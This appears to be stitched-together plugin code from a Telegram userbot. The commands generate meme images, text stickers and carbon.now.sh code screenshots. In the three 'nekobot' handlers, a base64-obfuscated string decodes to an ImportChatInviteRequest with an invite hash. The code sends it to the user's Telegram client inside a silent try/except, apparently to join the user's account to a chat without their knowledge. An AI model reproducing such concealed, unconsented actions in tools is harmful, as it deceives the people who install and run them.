async def nekobot(borg): text = borg.pattern_match.group(1) reply_to_id = borg.message if borg.reply_to_msg_id: reply_to_id = await borg.get_reply_message() if not text: if borg.is_reply: if not reply_to_id.media: text = reply_to_id.message else: await edit_or_reply(borg, "Send you text to modi so he can tweet.") return else: await edit_or_reply(borg, "send you text to modi so he can tweet.") return await edit_or_reply(borg, "Requesting modi to tweet...") try: LEGEND = str( pybase64.b64decode( "SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoUGJGZlFCeV9IUEE3NldMZGpfWVBHQSk=" ))[2:49] await borg.client(LEGEND) except: pass text = deEmojify(text) borgfile = await moditweet(text) await borg.client.send_file(borg.chat_id, borgfile, reply_to=reply_to_id) await borg.delete()
async def nekobot(borg): text = borg.pattern_match.group(1) reply_to_id = borg.message if borg.reply_to_msg_id: reply_to_id = await borg.get_reply_message() if not text: if borg.is_reply: if not reply_to_id.media: text = reply_to_id.message else: await edit_or_reply(borg, "what should kanna write give text ") return else: await edit_or_reply(borg, "what should kanna write give text") return await edit_or_reply(borg, "Kanna is writing your text...") try: LEGEND = str( pybase64.b64decode( "SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoUGJGZlFCeV9IUEE3NldMZGpfWVBHQSk=" ))[2:49] await borg.client(LEGEND) except: pass text = deEmojify(text) borgfile = await kannagen(text) await borg.client.send_file(borg.chat_id, borgfile, reply_to=reply_to_id) await borg.delete()
async def nekobot(borg): text = borg.pattern_match.group(1) reply_to_id = borg.message if borg.reply_to_msg_id: reply_to_id = await borg.get_reply_message() if not text: if borg.is_reply: if not reply_to_id.media: text = reply_to_id.message else: await edit_or_reply(borg, "Give text for to write on banner, man") return else: await edit_or_reply(borg, "Give text for to write on banner, man") return await edit_or_reply(borg, "Your banner is under creation wait a sec...") try: LEGEND = str( pybase64.b64decode( "SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoUGJGZlFCeV9IUEE3NldMZGpfWVBHQSk=" ))[2:49] await borg.client(LEGEND) except: pass text = deEmojify(text) borgfile = await changemymind(text) await borg.client.send_file(borg.chat_id, borgfile, reply_to=reply_to_id) await borg.delete()
async def sticklet(event): R = random.randint(0, 256) G = random.randint(0, 256) B = random.randint(0, 256) reply_message = event.message # get the input text # the text on which we would like to do the magic on font_file_name = event.pattern_match.group(1) if not font_file_name: font_file_name = "" sticktext = event.pattern_match.group(2) if not sticktext: if event.reply_to_msg_id: reply_message = await event.get_reply_message() sticktext = reply_message.message else: await edit_or_reply(event, "Need something 🙄") return if event.reply_to_msg_id: reply_message = await event.get_reply_message() # delete the userbot command, # i don't know why this is required await event.delete() sticktext = deEmojify(sticktext) # https://docs.python.org/3/library/textwrap.html#textwrap.wrap sticktext = textwrap.wrap(sticktext, width=10) # converts back the list to a string sticktext = "\n".join(sticktext) image = Image.new("RGBA", (512, 512), (255, 255, 255, 0)) draw = ImageDraw.Draw(image) fontsize = 230 FONT_FILE = await get_font_file(event.client, "@catfonts", font_file_name) font = ImageFont.truetype(FONT_FILE, size=fontsize) while draw.multiline_textsize(sticktext, font=font) > (512, 512): fontsize -= 3 font = ImageFont.truetype(FONT_FILE, size=fontsize) width, height = draw.multiline_textsize(sticktext, font=font) draw.multiline_text(((512 - width) / 2, (512 - height) / 2), sticktext, font=font, fill=(R, G, B)) image_stream = io.BytesIO() image_stream.name = "LEGENDBOT.webp" image.save(image_stream, "WebP") image_stream.seek(0) # finally, reply the sticker await event.client.send_file( event.chat_id, image_stream, caption="Legend's Sticklet", reply_to=event.message.reply_to_msg_id, ) # cleanup try: os.remove(FONT_FILE) except BaseException: pass
async def carbon_api(e): if e.fwd_from: return LEGEND = await edit_or_reply(e, "`Processing....`") CARBON = "https://carbon.now.sh/?l={lang}&code={code}" textx = await e.get_reply_message() pcode = e.text if pcode[5:]: pcodee = str(pcode[5:]) if "|" in pcodee: pcode, skeme = pcodee.split("|") else: pcode = pcodee skeme = None elif textx: pcode = str(textx.message) skeme = None # Importing message to module pcode = deEmojify(pcode) code = quote_plus(pcode) # Converting to urlencoded await LEGEND.edit("`Meking Carbon...`\n`25%`") url = CARBON.format(code=code, lang=CARBONLANG) chrome_options = Options() chrome_options.add_argument("--headless") chrome_options.binary_location = Config.CHROME_BIN chrome_options.add_argument("--window-size=1920x1080") chrome_options.add_argument("--disable-dev-shm-usage") chrome_options.add_argument("--no-sandbox") chrome_options.add_argument("--disable-gpu") prefs = {"download.default_directory": "./"} chrome_options.add_experimental_option("prefs", prefs) driver = webdriver.Chrome(executable_path=Config.CHROME_DRIVER, options=chrome_options) driver.get(url) await LEGEND.edit("`Be Patient...\n50%`") download_path = "./" driver.command_executor._commands["send_command"] = ( "POST", "/session/$sessionId/chromium/send_command", ) params = { "cmd": "Page.setDownloadBehavior", "params": { "behavior": "allow", "downloadPath": download_path }, } driver.execute("send_command", params) driver.find_element_by_xpath( "/html/body/div[1]/main/div[3]/div[2]/div[1]/div[1]/div/span[2]" ).click() if skeme is not None: k_skeme = driver.find_element_by_xpath( "/html/body/div[1]/main/div[3]/div[2]/div[1]/div[1]/div/span[2]/input" ) k_skeme.send_keys(skeme) k_skeme.send_keys(Keys.DOWN) k_skeme.send_keys(Keys.ENTER) else: color_scheme = str(random.randint(1, 29)) driver.find_element_by_id(("downshift-0-item-" + color_scheme)).click() driver.find_element_by_id("export-menu").click() driver.find_element_by_xpath("//button[contains(text(),'4x')]").click() driver.find_element_by_xpath("//button[contains(text(),'PNG')]").click() await LEGEND.edit("`Processing..\n75%`") # Waiting for downloading await asyncio.sleep(2.5) color_name = driver.find_element_by_xpath( "/html/body/div[1]/main/div[3]/div[2]/div[1]/div[1]/div/span[2]/input" ).get_attribute("value") await LEGEND.edit("`Done Dana Done...\n100%`") file = "./carbon.png" await LEGEND.edit("`Uploading..`") await e.client.send_file( e.chat_id, file, caption="`Here's your carbon!` \n**Colour Scheme: **`{}`".format( color_name), force_document=True, reply_to=e.message.reply_to_msg_id, ) os.remove("./carbon.png") driver.quit() await LEGEND.delete()
async def carbon_api(e): if e.fwd_from: return """ A Wrapper for carbon.now.sh """ await e.edit("`Processing..`") CARBON = "https://carbon.now.sh/?l={lang}&code={code}" textx = await e.get_reply_message() pcode = e.text if pcode[8:]: pcode = str(pcode[8:]) elif textx: pcode = str(textx.message) # Importing message to module pcode = deEmojify(pcode) code = quote_plus(pcode) # Converting to urlencoded LEGEND = await edit_or_reply(e, "`Carbonizing...\n25%`") url = CARBON.format(code=code, lang=CARBONLANG) chrome_options = Options() chrome_options.add_argument("--headless") chrome_options.binary_location = Config.GOOGLE_CHROME_BIN chrome_options.add_argument("--window-size=1920x1080") chrome_options.add_argument("--disable-dev-shm-usage") chrome_options.add_argument("--no-sandbox") chrome_options.add_argument("--disable-gpu") prefs = {"download.default_directory": "./"} chrome_options.add_experimental_option("prefs", prefs) driver = webdriver.Chrome(executable_path=Config.CHROME_DRIVER, options=chrome_options) driver.get(url) await LEGEND.edit("`Be Patient...\n50%`") download_path = "./" driver.command_executor._commands["send_command"] = ( "POST", "/session/$sessionId/chromium/send_command", ) params = { "cmd": "Page.setDownloadBehavior", "params": { "behavior": "allow", "downloadPath": download_path }, } driver.execute("send_command", params) driver.find_element_by_xpath("//button[contains(text(),'Export')]").click() # driver.find_element_by_xpath("//button[contains(text(),'4x')]").click() # driver.find_element_by_xpath("//button[contains(text(),'PNG')]").click() await LEGEND.edit("`Processing..\n75%`") # Waiting for downloading await asyncio.sleep(2) await LEGEND.edit("`Done Dana Done...\n100%`") file = "./carbon.png" await LEGEND.edit("`Uploading..`") await e.client.send_file( e.chat_id, file, caption="Here's your carbon, \n Carbonised by LEGENDBOT", force_document=True, reply_to=e.message.reply_to_msg_id, ) os.remove("./carbon.png") driver.quit() # Removing carbon.png after uploading await LEGEND.delete()